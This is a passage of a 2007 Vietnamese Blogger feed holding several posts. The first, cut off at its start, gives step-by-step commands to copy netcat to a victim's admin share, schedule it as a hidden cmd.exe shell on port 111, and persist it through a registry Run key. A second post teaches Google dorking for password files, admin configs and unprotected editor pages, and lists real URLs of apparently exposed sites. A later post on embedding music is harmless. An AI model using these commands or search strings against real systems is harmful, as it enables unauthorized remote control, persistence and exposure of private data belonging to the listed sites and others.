victim&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;br /&gt;C:\&gt;copy nc.exe \\x.x.x.x\ADMIN$\nc.exe&lt;br /&gt;The command completed successfully.&lt;br /&gt;              1 file copies&lt;br /&gt;&lt;br /&gt;Chạy service Schedule trên máy victim ( có service này mới thực thi đ ươc các file trên máy victim, mặc đinh khi cài win sẽ chạy service này)&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;br /&gt;C:\&gt; sc \\x.x.x.x  start  schedule&lt;br /&gt;       service_name : schedule&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bây giờ kiểm tra giờ trên máy victim&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;br /&gt;C:\&gt; net time \\x.x.x.x&lt;br /&gt;&lt;br /&gt;Current time at \\10.0.0.31 is 6/29/2005 4:50 AM&lt;br /&gt;&lt;br /&gt;The command completed successfully.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bây giờ chạy netcat ở chế độ ẩn lắng nghe cổng 111:&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;br /&gt;C:\&gt;AT  \\x.x.x.x  4:55 /interactive “c:\windows\nc.exe” –L –d –p111 –e cmd.exe&lt;br /&gt;&lt;br /&gt;Added a new job with job ID = 1&lt;br /&gt;&lt;br /&gt;đợi đến 4:55 rồi chạy thử nc.exe&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;br /&gt;C:\&gt;nc –nvv x.x.x.x 111&lt;br /&gt;&lt;br /&gt;(UNKNOWN) [x.x.x.x] 111 (?) open&lt;br /&gt;Microsoft Windows XP [Version 5.1.2600]&lt;br /&gt;© Copyright 1985-2001 Microsoft Corp.&lt;br /&gt;&lt;br /&gt;C:\windows&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bây giờ làm gì thì tuỳ nha ( nhưng đừng có phá hoại người ta nhe’)&lt;br /&gt;Vấn đề là làm sao cho những lần sau victim bật máy tính lên netcat tự động chạy và lắng nghe mệnh lệnh của ta?&lt;br /&gt;Bạn có thể cho netcat khởi động cùng windows. "moi" file netcat.reg (dùng notepad và save lại thành .reg) có nội dung như sau:&lt;br /&gt;&lt;br /&gt;CODE&lt;br /&gt;&lt;br /&gt;Windows Registry Editor Version 5.00&lt;br /&gt;&lt;br /&gt;[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]&lt;br /&gt;"netcat"="\"C:\\nc\\nc.exe\" -L -d -p111 -e cmd.exe"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sau đó copy sang máy victim và chạy nha!&lt;br /&gt;Hy vọng mọi người đừng phá hoại nha ! Thân&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/64112137356460089-5511098736297372555?l=chantroitrithuc.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chantroitrithuc.blogspot.com/feeds/5511098736297372555/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=64112137356460089&amp;postID=5511098736297372555' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/5511098736297372555'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/5511098736297372555'/><link rel='alternate' type='text/html' href='http://chantroitrithuc.blogspot.com/2007/06/hacking-pc-resource-share.html' title='Hacking PC resource share'/><author><name>romancekid</name><uri>http://www.blogger.com/profile/07546199149831866337</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-64112137356460089.post-5450335063106298483</id><published>2007-06-17T17:15:00.001-07:00</published><updated>2007-06-17T17:15:56.664-07:00</updated><title type='text'>Sử dụng Google để Hack website</title><content type='html'>Trong vài năm gần đây, trong số các bài viết được xuất bản đã cảnh báo về thực trạng các hacker ( hoặc cracker nếu bạn thích ) sử dụng công cụ tìm kiếm Google để tiếp cận các tập tin mà họ không được phép xem hoặc tiếp cận chúng. Sự hiểu biết này tuy không có gì mới, nhưng đối với cá nhân tôi( ngưòi viết bài này ) luôn lo ngại về tính chính xác của việc này. VNUnet’s James Middleton đã có 1 bài báo trong năm 2001 nói về việc các hacker sử dụng những chuỗi tìm kiếm đặc biệt trong Google để tìm kiếm những dữ liệu nhạy cảm về dữ liệu của ngân hang.&lt;br /&gt;&lt;br /&gt;“Nguồn thông tin tương tự trên các nhóm bảo mật mới đã khẳng định rằng: Sử dụng chuỗi tìm kiếm: ‘ index of / + banques + filetype:xls ‘ mà kết quả là những thông tin nhạy cảm trong các gói dữ liệu của Excel bị khai thác. Kỹ thuật tương tự cũng được sử dụng để dò tìm các tập tin chứa mật mã ( password ).&lt;br /&gt;&lt;br /&gt;Một bài viết khác được đăng trên trang web wired.com đã cho chúng ta biết: Adrian Lamo, 1 hacker thường tạo ra các thong tin mới trong 2 năm gần đây đã giải thích rằng Google có thể được dùng để giành được quyền tiếp cận các trang web của những công ty lớn&lt;br /&gt;&lt;br /&gt;Ví dụ: Dùng nhóm từ “select a database to view“ – 1 nhóm từ phổ biến trong Filemaker pro liên kết các dữ liệu – vào Google để tìm kiếm, kết quả mang lại là có khoản 200 links. Gần như 200 link đó là đầu mối để có thể tiếp cận các cơ sở dữ liệu Filemaker trực tuyến.&lt;br /&gt;&lt;br /&gt;Những bài viết này vẫn tiếp tục được bàn đến ở các tin tức trực tuyến. trang web của bộ quốc phòng và chính phủ Mỹ có thể là đối tượng dễ bị tấn công, bởi vì tập lệnh của nhà quản trị trang Web có thể bị tìm thấy khi dùng Google, những tập tin về y học, hồ sơ cá nhân, mọi thứ ngay lập tức được tìm thấy chỉ bằng cách sử dụng Google để tìm. Thế nhưng, những bài viết này không thường xuất hiện, và dường như chỉ xuất hiện khoảng ½ năm 1 lần và luôn luôn nói về điều đó nếu như có những thong tin mới. Một điểm khác nữa là, các bài viết này không bao giờ giải thích thực tế của điều này như thế nào. Phần lớn không bao giờ đưa ra các chuỗi tìm kiếm để làm ví dụ, Lần cuối khi đọc một trong những bài viết này, tôi đã quyết định đã đến lúc tự mình khám phá ra không biết Google có thể làm tất cả những gì như họ nói là nó có thể làm hay không? Tiếp theo là 1 bản báo cáo tìm kiếm của tôi và có mô tả một số kỹ thuật, chuỗi tìm kiếm có thể sử dụng được.&lt;br /&gt;&lt;br /&gt;Lý thuyết&lt;br /&gt;&lt;br /&gt;Sau lý thuyết là 1 thực tế hoàn toàn đơn giản. Hoặc là bạn nghĩ về 1 dữ liệu nào đó mà bạn muốn tìm được và cố tưởng tượng ra những tập tin có chứa dữ liệu này và bạn tìm những tập tin này 1 cách trực tiếp. (ví dụ tập tin *.xls). hoặc là bạn muốn tiếp cận nhiều điều thú vị và bạn cố gắng nghĩ về 1 phần mềm nào đó cho phép bạn thực thi những mệnh lệnh nào đó và tiếp cận chúng, và bạn tìm những tập tin then chốt của phần mềm này. một ví dụ có thể dùng đó là Hệ thống điều khiển nội dung. bạn phải nguyên cứu kỹ nội dung hệ thống điều khiển này. điều tra những tập tin tồn tại(sẵn có) và tìm chúng. 1 ví dụ hay khác về điều đó là đề cập đến cơ sở dữ liệu. Bạn biết nơi có chứa chuỗi “viewdatabase” thường dùng trong trang web là không thể để bạn tiếp cận được và bạn hãy tìm những trang có chứa đựng nội dung chuỗi như vậy, hoặc là bạn sẽ kiểm tra phần mềm và nhận được thong báo rằng tuỳ chọn để xem cơ sở dữ liệu là 1 liên kết trên trang web với phần mềm này được gọi là “viewdbase.htm” và bạn hãy tìm với “viewdbase.htm”&lt;br /&gt;&lt;br /&gt;Điều quan trọng nhất là phải có mục tiêu rõ rang để biết cái mà bạn muốn tìm là gì, sau đó tìm những tập tin đặc biệt này hoặc những nét đặc trưng mà tập tin đó có.&lt;br /&gt;&lt;br /&gt;Những tuỳ chọn tìm kiếm với Google&lt;br /&gt;&lt;br /&gt;những kiểu tập tin đặc trưng: *.xls, *.doc, *.pdf, *. ps, *.ppt, *.rtf&lt;br /&gt;&lt;br /&gt;Google cho phép bạn tìm những tập tin đặc trưng, thay vì kết quả bạn nhận được sẽ là tập tin html( như 1 trang web ) thì bạn có thể sẽ nhận được ví dụ như tập tin Microsoft Excel. Chuỗi tìm kiếm mà bạn sử dụng sẽ là:&lt;br /&gt;&lt;br /&gt;filetype:xls; filetype:doc;&lt;br /&gt;&lt;br /&gt;Nhưng có thể có nhiều điều thú vị hơn khi tìm tập tin *.db hoặc *.mdb. Theo cách này, Google sẽ không báo cho bạn biết bạn có thể tìm được tập tin *.db và *.mdb. Tôi tự hỏi liệu các tập tin khác có thể đuợc tìm thấy tương tự như vậy. những điều mà tôi suy nghĩ là *.cfg hoặc *.pwd; *.dat… bí quyết là như thế. cố gắng suy nghĩ về những điều mà có thể sẽ đem lại cho bạn những kết quả thú vị.&lt;br /&gt;&lt;br /&gt;INURL:&lt;br /&gt;&lt;br /&gt;Tuỳ chọn hữu ích khác là INURL tuỳ chọn này cho phép 1 cách tìm 1 từ nào đó giống như là trong 1 đường dẫn. điều này tạo cơ hội cho bạn tìm được những thư mục đặc trưng/ hồ sơ, điều đặc biệt khi kết hợp với tuỳ chọn “index of”. Tôi sẽ nói về vấn đề này sau đây.&lt;br /&gt;một ví dụ như là đường dẫn:admin, cái này sẽ đem lại kết quả cho bạn là những trang web mà đường dẫn có chứa từ admin trong đó.&lt;br /&gt;&lt;br /&gt;INDEX OF (mục lục).&lt;br /&gt;&lt;br /&gt;Tuỳ chọn mục lục là 1 tuỳ chọn khác, những người tạo ra google nghĩ rằng nó không có gì đặc biệt, thế nhưng nó lại rất có ích nếu bạn dùng chuỗi “index of”, bạn sẽ tìm thấy danh sách các thư mục có chứa những hồ sơ đặc biệt trên máy chủ.&lt;br /&gt;&lt;br /&gt;Ví dụ là: “index of” admin hoặc index.of.admin&lt;br /&gt;&lt;br /&gt;Google sẽ liệt kê cho bạn 1 danh sách thư mục hồ sơ của người quản trị( đừng quên sử dụng dấu ngoặc trong trường hợp này vì lúc bạn tìm là chuỗi “index of” chứ không phải là “index” và “of”.&lt;br /&gt;&lt;br /&gt;SITE: (định vị)&lt;br /&gt;&lt;br /&gt;Tuỳ chọn định vị cho phép không những với những kết quả mà nó thuộc về 1 tên miền mở rộng nào đó hoặc là 1 site đặc thù. Ví dụ, có thể tìm site .com hoặc site .box.sk hoặc site .nl mà còn cho những kết quả chỉ từ 1 site, nhưng điều thú vị sẽ có nếu tìm những trang web về quân sự hoặc của chính phủ. Ví dụ có thể là:&lt;br /&gt;&lt;br /&gt;Site:mil hoặc site:gov&lt;br /&gt;Site:neworder.box.sk”board”&lt;br /&gt;&lt;br /&gt;INTITLE:&lt;br /&gt;&lt;br /&gt;Là 1 tuỳ chọn tinh vi khác. Nó cho phép bạn tìm ra những tập tin html có chứa 1 từ nào đó và từ này trong tiêu đề của html. định dạng này sẽ là intitle:wordhere. bạn có thể điều tra những từ nào xuất hiện trong tiêu đề của 1 số bảng điều khiển trực tuyến hoặc hệ thống quản lý, và sau đó tìm trên Google với những từ này cùng với tuỳ chọn intitle để tìm đến những trang điều khiển này.&lt;br /&gt;&lt;br /&gt;LINK:(liên kết, nối kết)&lt;br /&gt;&lt;br /&gt;Tuỳ chọn LINK cho phép bạn liên kết với những site đặc trưng. Điều này đã được mô tả trong HACKING EXPOSED THIRD EDITION điều này có thể hữu ích.&lt;br /&gt;&lt;br /&gt;“Bộ máy tìm kiếm này cung cấp 1 điều kiện thuận tiện có ích cho phép bạn tìm kiếm tất cả các site có những liên kết lại với mục tiêu là tên miền của các tổ chức. điều này lúc đầu dường như không đáng quan tâm. Nhưng khảo sát những mối quan hệ mật thiết khác, giả định 1 người nào đó trong 1 tổ chức quyết định xây dựng 1 trang web đặt tại nhà để lừa đảo mà mục tiêu là nhằm vàođịnh vị hệ thống máy tính”&lt;br /&gt;&lt;br /&gt;Kết hợp tìm kiếm với nhiều tuỳ chọn&lt;br /&gt;&lt;br /&gt;Với những tuỳ chọn tìm kiếm kể trên bạn có thể hoặc không thể biết, nhưng cho dù là vậy, cũng có thể có 1 vài kết quả thú vị, thực tế là khi bạn kết hợp chúng lại với nhau thì lúc đó, ma thuật của Google mới bắt đầu trình diễn, ví dụ, thử tìm kiếm chuỗi sau:&lt;br /&gt;&lt;br /&gt;inurl:nasa.gov filetype:xls “retricted” hoặc cái này: site:mil filetype:xls “password” hoặc có thể là: site:mil “index of” admin.&lt;br /&gt;&lt;br /&gt;Điều này vừa nảy sinh từ trong đầu của tôi, tôi không biết nó có kết quả thú vị như bạn mong không, hãy đưa ra những chuỗi tìm kiếm để có thể nhận được kết quả như ý của bạn.&lt;br /&gt;&lt;br /&gt;Ví dụ: Những bí quyết hay.&lt;br /&gt;&lt;br /&gt;Những tập tin đặc trưng: *.xls; *.doc; *.pdf; *.ps; *.ppt; *.rtf&lt;br /&gt;&lt;br /&gt;Để bắt đầu được đơn giản, bạn có thể thử và tìm trực tiếp những tập tin mà bạn tin rằng có thể chứa đựng những thong tin lý thú. Sự lựa chọn ngẫu nhiên cho tôi gần giống như vậy:&lt;br /&gt;&lt;br /&gt;password, passwords, pwd, account, accounts, userid, uid, login, logins, secret, secrets.&lt;br /&gt;&lt;br /&gt;Tất cả tiếp theo có phần mở rộng là *.doc hoặc là .xls hoặc là *.db&lt;br /&gt;điều này đưa đến cho tôi khá nhiều kết quả thú vị, đặc biệt với tuỳ chọn *.db, nhưng thật ra tôi cũng có tìm thấy 1 vài tập tin passwords.doc chứa đựng những mật khẩu có thể hoạt động được.&lt;br /&gt;&lt;br /&gt;http://www.doc.state.ok.us/spreadsh…20for%20web.xls&lt;br /&gt;http://www.bmo.com/investorrelation…new/private.xls&lt;br /&gt;http://www.nescaum.org/greenhouse/p…cipant_list.xls&lt;br /&gt;http://www.dscr.dla.mil/aviationinv…ance_5apr01.xls&lt;br /&gt;http://www.web.nps.navy.mil/~drdolk…part_is3301.xls&lt;br /&gt;&lt;br /&gt;Admin.cfg&lt;br /&gt;&lt;br /&gt;Admin.cfg là 1 tập tin sắp xếp cấu hình của nhà quản trị, một số phần mềm khác nhau mặc nhiên sử dụng tên giống như “config” hoặc “admin” hoặc “setup” v..v.. những file này có chứa những thong tin nhạy cảm và như thế không nên để chúng có thể bị sử dụng bởi những người duyệt web. Tôi cố gắng tìm kiếm admin.cfg, sử dụng chuỗi tìm kiếm như sau trên google:&lt;br /&gt;&lt;br /&gt;Inurl:admin.cfg “index of”&lt;br /&gt;&lt;br /&gt;Điều này dẫn tôi đến 1 số kết quả vô ích, nhưng có hiệu lực. tôi đã tìm 1 ví dụ: _http://www.alternetwebdesign.com/cg…ctimi/admin.cfg&lt;br /&gt;cái này có chứa mật mã. Đây là mật mã của người quản trị cho cơ sở dữ liệu nằm tại _http://www.alternetwebdesign.com/cg…e.cgi?admin.cfg cơ sở dữ liệu này chứa những dữ liệu nhạy cảm của khách hang liên quan đến công ty này. Sau đó tôi đã chuyển đến địa chỉ thư điện tử của công ty 1 thông báo về thiếu sót này của họ, đáp lại họ trả lời tôi rất thân thiện và cho tôi biết họ đánh giá cao sự giúp đỡ này của tôi và rằng họ muốn có những biện pháp cần thiết để giải quyết vấn đề này.&lt;br /&gt;&lt;br /&gt;Webadmin (quản trị web)&lt;br /&gt;&lt;br /&gt;Trở lại sau 1 thời gian ngắn, trong khi tôi đang làm việc với bài viết này, tôi vào trang web này:&lt;br /&gt;&lt;br /&gt;_http://wacker-welt.de/webadmin/&lt;br /&gt;&lt;br /&gt;Trang wed này giải thích rằng “webadmin” là 1 phần nhỏ của phần mềm, nó cho phép 1 người biên tập từ xa những phần của website, tải file v..v.. trang chính của trung tâm kiểm soát webadmin được gọi là “webeditor.php” và dĩ nhiên, bước kế tiếp của tôi là vào google và sứ dụng thẻ inurl để tìm những trang webeditor.php mà tôi có thể tìm được. tôi đã sử dụng chuỗi tìm kiếm như sau:&lt;br /&gt;&lt;br /&gt;inurl:webeditor.php&lt;br /&gt;&lt;br /&gt;và tôi đã tìm được những kết quả như sau:&lt;br /&gt;&lt;br /&gt;http://orbyonline.com/php/webeditor.php&lt;br /&gt;http://www-user.tu-chemnitz.de/~hkr…r/webeditor.php&lt;br /&gt;http://artematrix.org/webeditor/webeditor.php&lt;br /&gt;http://www.directino.hu/webeditor.php&lt;br /&gt;&lt;br /&gt;Tất cả những file webeditor.php này có thể bị tìm thấy bởi mọi người. Đơn giản bởi vì những người sở hữu đã thất bại trong việc bảo vệ những trang sử dụng .htacces. lỗi này cho phép bất kỳ ai thay đổi trang web trên máy chủ và như vậy xoá đi site, tải lên những file mà từ đó có thể tiếp cận đến máy chủ(server).&lt;br /&gt;&lt;br /&gt;Trong trình duyệt thông qua những site này, tôi quan tâm đến file cho phép tải file lên web được gọi là “file_upload.php”, sau đó tôi đã tìm trên google và tìm được nhiều ví dụ hơn:&lt;br /&gt;&lt;br /&gt;_http://www.hvcc.edu/~kantopet/ciss_…file_upload.php&lt;br /&gt;&lt;br /&gt;một ví dụ hay:&lt;br /&gt;&lt;br /&gt;_http://www.pelicandecals.com/admin/webeditor.php&lt;br /&gt;&lt;br /&gt;Tập lệnh này cho phép bạn thay đổi file - giống như ví dụ ở trên - bao gồm cả index.php trên lý thuyết 1 người có thể viết hoặc tải xuống bất kỳ những tập lệnh nguy hiểm nào mà họ muốn, dán những đoạn mã này vào những file sẵn có và đưa lên website và hậu quả là rõ rang.nó chỉ có 1 đường dẫn “return administration” và kích vào đó dẫn tôi đến:&lt;br /&gt;&lt;br /&gt;_http://www.pelicandecals.com/admin/administration.html&lt;br /&gt;&lt;br /&gt;Đây là nơi có địa chỉ khách hàng, nơi có thể thay đổi giá cả v…v..&lt;br /&gt;&lt;br /&gt;Hệ thống quản lý nội dung:&lt;br /&gt;&lt;br /&gt;Là 1 phần mềm chương trình cho phép webmaster biên tập, sửa đổi và kiểm soát nội dung trang web của anh ta. Lối vào cũng giống như sử dụng bảng kiểm soát trực tuyến trên website. Ý nghĩa là tìm ra( biết được ) những tập tin nào – ví dụ là những tập tin chính của phần mềm chương trình này – “cms.html” hoặc cũng có thể là “panel.html” hoặc “config.cfg”. bạn nhận ra tên gọi của khối ứng dụng được sử dụng và sau đó nghĩ ra 1 chuỗi tìm kiếm tốt và hy vọng rằng bạn đang tấn công vào kho báu.&lt;br /&gt;&lt;br /&gt;FRONTPAGE SERVER EXTENSIONS HTML ADMINISTRATION FORMS.&lt;br /&gt;&lt;br /&gt;“bạn có thể quản lý 1 phần nhỏ frontpage server extensions từ 1 số máy tính nối mạng internet có sử dụng frontpage server extensions administration forms, thiết lập những trang web mà cho phép bạn quản lý Frontpage server extensions từ xa”.&lt;br /&gt;&lt;br /&gt;Đó là những gì mà Microsoft thường nói về chúng, điều này có ý nghĩa rằng những người sử dụng access với hình thức này có thể thực hiện 1 số chức năng của nhà quản trị, như là điều khiển từ xa. Và từ đó, những hình thức này nên được bảo vệ tốt từ những người bất hợp pháp. Bây giờ, làm thế nào để tìm được những hình thái không được bảo vệ trên internet. điều đầu tiên chúng ta làm là cố tìm ra những tập tin bao gồm những tập lệnh này. Một cuộc viếng thăm ngắn đến trang web của Microsoft và nhìn vào frontpage manual sẽ cho chúng ta biết trang chủ của hình thái này là 1 file gọi là “fpadmin.htm”. v à đó là cái mà chúng ta cần tìm. bây giờ, để tìm 1 chuỗi tìm kiếm đúng mà nó sẽ cho chúng ta những kết quả như chúng ta muốn. khi thao tác cài đặt được thực hiện, những tập tin cài đặt này nằm trong 1 thư mục gọi là admin. để sử dụng, chúng ta phải học cách dùng những tuỳ chọn tìm kiếm của google và lý thuyết sau những phương pháp này.&lt;br /&gt;&lt;br /&gt;Intitle:fpadmin.htm “index of” admin hoặc có thể inurl:admin/fpadmin.htm&lt;br /&gt;&lt;br /&gt;Và đây là kết quả mà tôi có được:&lt;br /&gt;http://www.lehigh.edu/~ineduc/degre…rams/tbte/admin&lt;br /&gt;http://blackadder. Eng.mon ash.au/frontpage/admin/&lt;br /&gt;http://www.lehigh.edu/collegeofeduc…ams/tbte/admin/&lt;br /&gt;http://www.vsl.gifu-u.ac.jp/freeman/frontpage4/admin/&lt;br /&gt;http://www.tech-geeks.Org/contrib/l…033/fpadmin.htm&lt;br /&gt;http://fp.nsk.fio.ru/admin/1033/fpadmin.htm&lt;br /&gt;&lt;br /&gt;Nhưng tại mục frontpage manual còn nói thêm:&lt;br /&gt;&lt;br /&gt;“vì sự bảo mật có liên quan đến việc xác định quyền điều hành frontpage có thể thực hiện được từ xa, từ các trang web tìm ki ếm. Do đó, HTML administration forms sẽ không hoạt động khi cài đặt lần đầu tiên.&lt;br /&gt;&lt;br /&gt;Điều này có nghia là 1 số trong số này có thể hoạt động được và như thế có ích đối với chúng ta, và 1 số khác thì không. đó là dĩ nhiên bởi vì chỉ có 1 cách để bạn nắm được thông tin và đó là cách để thực hiện chức năng giống như chức năng của quản trị viên có thể thực hiện được và xem xét khi bạn nhận được kết quả. tôi có 1 đề nghị là chúng ta không nên đi quá xa bởi vì điều đó đã vi phạm pháp luật. Tôi không ở đây để dạy cho các bạn bài học về đạo đức hay ít nhất thì không phải hôm nay.&lt;br /&gt;FRESSCO ROUTER&lt;br /&gt;&lt;br /&gt;Phần mềm fressco router cho linux là 1 sự cài đặt ngầm định. nó cài đặt 1 trang web tìm kiếm nhỏ, cho phép chủ sở hữu kiểm soát được router thông qua giao thức http. Theo nghĩa khác thì 1 trang web sẽ tự động cài giao thức cho phép bạn kiểm soát router, mật khẩu và login ngầm định cho bảng điều khiển này là “admin” và “admin”. Nhiều người sử dụng Fressco không biết điều này. bạn có thể sử dụng chuỗi như sau để tìm ra những trang web có sử dụng giao thức fressco để kiểm soát router.&lt;br /&gt;&lt;br /&gt;Intitle: “fressco control panel” hoặc “check the connection”.&lt;br /&gt;&lt;br /&gt;Đó là những từ có trong tiêu đề của trang web này hoặc trên trang chính của trang web đó, hoặc có thể là không. tất cả những điều đó là gì, bạn kiểm tra 1 phần mềm nào đó, tìm cái phần mà bạn muốn có thể tìm được và nghĩ ra chuỗi tìm kiếm mà sẽ cho bạn những kết quả khả quan.&lt;br /&gt;&lt;br /&gt;Extra tips:&lt;br /&gt;&lt;br /&gt;- Nên nhớ rằng tiếng anh là ngôn ngữ được sử dụng trực tuyến nhiều nhất nhưng không phải là duy nhất. cố gắng tìm những từ, nhóm từ đặc trưng bằng ngôn ngữ của bạn hoặc tiếng pháp, tiếng đức..v..v.. ví dụ “beheer” tiếng Hà Lan có nghĩa là “administration” hoặc “privat” tiếng đức có nghĩa là “private”.&lt;br /&gt;&lt;br /&gt;- Bạn có thể kiểm tra qua những danh sách quét các lỗ hỏng để có được những chuỗi tìm kiếm lý thú mà bạn muốn sử dụng hoặc kết hợp với chuỗi tìm kiếm của bạn. kiểm tra tại&lt;br /&gt;&lt;br /&gt;_http://paris2k.at.box.sk/tools/listings.&lt;br /&gt;&lt;br /&gt;- Tìm những tập tin như “config.inc.php” hoặc “mysql.cfg” nó có thể chứa đựng tên của người sử dụng kết hợp với mật khẩu mysql. cố gắng suy nghĩ những chuỗi tìm kiếm hay, sử dụng những từ như php, sql, mysql..v..v.&lt;br /&gt;- thử những chuỗi như vậy: inurl:admin “index of” “database” hoặc inurlhpmyadmin “index of” hoặc inurl:mysql “index of” site:neworder.box.sk intitle:index.of hoặc intitle:index.of.private( = intitle:”index of private”&lt;br /&gt;&lt;br /&gt;Kết luận:&lt;br /&gt;&lt;br /&gt;Internet là một mạng máy tính để hàng trăm ngàn hoặc hàng triệu những máy chủ Trang web kết nối, và trên lý thuyết tất cả các dữ liệu có thể bị tìm thấy, trừ phi nó được bảo vệ đàng hoàng. người thiết kế phần mềm và người sử dụng cuối cùng nên chi trả cho sự lưu tâm này để mặc nhiên thiết lập cấu hình bảo mật và chính sách bảo mật. cuối cùng, luôn luôn có những người tạo ra sai lầm, sử dụng sự cài đặt ngầm định, sử dụng phần mềm bảo mật nghèo nàn hoặc không có sự quan tâm đến vấn đề này, hoặc vẫn tin rằng không có sự nguy hiểm khi đưa những dữ liệu này lên trang web trực tuyến. nó chỉ sẽ luôn là thứ gây tò mò cho những người thích tìm ra những điều thú vị và họ luôn hy vọng cho điều đó. G oogle có thể giúp đỡ bạn 1 cách đáng kể và trong phần thông tin này nó thật sự dễ dàng.&lt;br /&gt;&lt;br /&gt;Chú ý:&lt;br /&gt;&lt;br /&gt;Tôi đã sử dụng bài viết này với những “ví dụ sống” bởi vì những “ví dụ giả tạo” trong trường hợp này sẽ không thực sự có ích. tôi hy vọng bạn chọn bài này để học từ những ví dụ này và không sử dụng chúng vào những hành động xâm nhập. hãy suy nghĩ cho chính bạn chuỗi tìm kiếm hay và đừng lạm dụng nó .tôi có thể giải thích 1 số kỹ thuật (đoán xem, tôi không phải ở đây để dạy những bài học đạo đức sau tất cả những gì ở trên.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/64112137356460089-5450335063106298483?l=chantroitrithuc.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chantroitrithuc.blogspot.com/feeds/5450335063106298483/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=64112137356460089&amp;postID=5450335063106298483' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/5450335063106298483'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/5450335063106298483'/><link rel='alternate' type='text/html' href='http://chantroitrithuc.blogspot.com/2007/06/s-dng-google-hack-website.html' title='Sử dụng Google để Hack website'/><author><name>romancekid</name><uri>http://www.blogger.com/profile/07546199149831866337</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-64112137356460089.post-5473889678017527819</id><published>2007-06-14T23:17:00.001-07:00</published><updated>2007-06-15T00:16:13.841-07:00</updated><title type='text'>+ Nhạc trên blog</title><content type='html'>Viết nhật ký trên mạng (blog) đang là trào lưu của giới trẻ hiện nay. Blog của bạn sẽ tạo được ấn tượng đẹp với những blogger khác khi có bước đột phá nếu update những bài hát, bản nhạc hay. Dưới đây là một số cách giúp bạn post nhạc lên blog:&lt;br /&gt;&lt;br /&gt;1. Cách làm này khá đơn giản. Đầu tiên bạn vào phần Blast Message, rồi nhấn vào khung Add a URL (Optional). Đây là khung để bạn copy đường link vào (lưu ý rằng bạn phải có 1 hoster lưu bài hát ở trên mạng, nếu chưa có bạn có thể tạo một tài khoản lưu trữ dữ liệu tại streamload.com).&lt;br /&gt;&lt;br /&gt;Tiếp đó bạn up bài hát mà mình thích lên tài khoản tại streamload và đưa vào hoter. Sau đó bạn copy đường link rồi paste vào Blast của mình, cuối cùng bạn chỉ cần save và share bài hát đó cho tất cả mọi người cùng thưởng thức.&lt;br /&gt;&lt;br /&gt;2. Cách này bắt buộc bạn phải có tài khoản tại một trong những trang sau: Yahoo! Video, YouTube và Google Video. Đầu tiên bạn vào trang YouTube (hoặc những trang còn lại) click vào thẻ Videos, sau đó bạn chọn một video bất kỳ nào mà bạn yêu thích, copy đường link của clip đó. Tiếp đó, bạn tạo một blog entry mới của Yahoo360. Lúc này bạn Check vào ô View HTML Source. Most HTML is OK, paste đoạn code HTML mà bạn vừa copy ở trang Youtube. Cuối cùng bạn chỉ việc Post This Entry là ổn.&lt;br /&gt;&lt;br /&gt;3. Bạn đi tới địa chỉ: http://video.google.com/ tìm kiếm một bài hát ưa thích. Khi đã tìm bài hát thành công bạn hãy click vào ô Email - Blog - Post to MySpace ở bên tay phải màn hình. Tiếp đó bạn nhấn tiếp vào dòng chữ Embed HTML, bạn copy dòng code ở dưới. Sau đó bạn vào blog của mình rồi tick vào View html Source và paste đoạn code vừa copy ở trên. Cuối cùng bạn chỉ cần post lên blog, vậy là ai vào Blog của bạn cũng sẽ nghe được bản nhạc đó.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/64112137356460089-5473889678017527819?l=chantroitrithuc.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chantroitrithuc.blogspot.com/feeds/5473889678017527819/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=64112137356460089&amp;postID=5473889678017527819' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/5473889678017527819'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/5473889678017527819'/><link rel='alternate' type='text/html' href='http://chantroitrithuc.blogspot.com/2007/06/nhc-trn-blog.html' title='+ Nhạc trên blog'/><author><name>romancekid</name><uri>http://www.blogger.com/profile/07546199149831866337</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-64112137356460089.post-6202980385058866323</id><published>2007-06-14T22:56:00.001-07:00</published><updated>2007-06-15T00:16:31.165-07:00</updated><title type='text'>+ Khắc phục lỗi “Invalid Boot.ini” hoặc “Windows could not start” 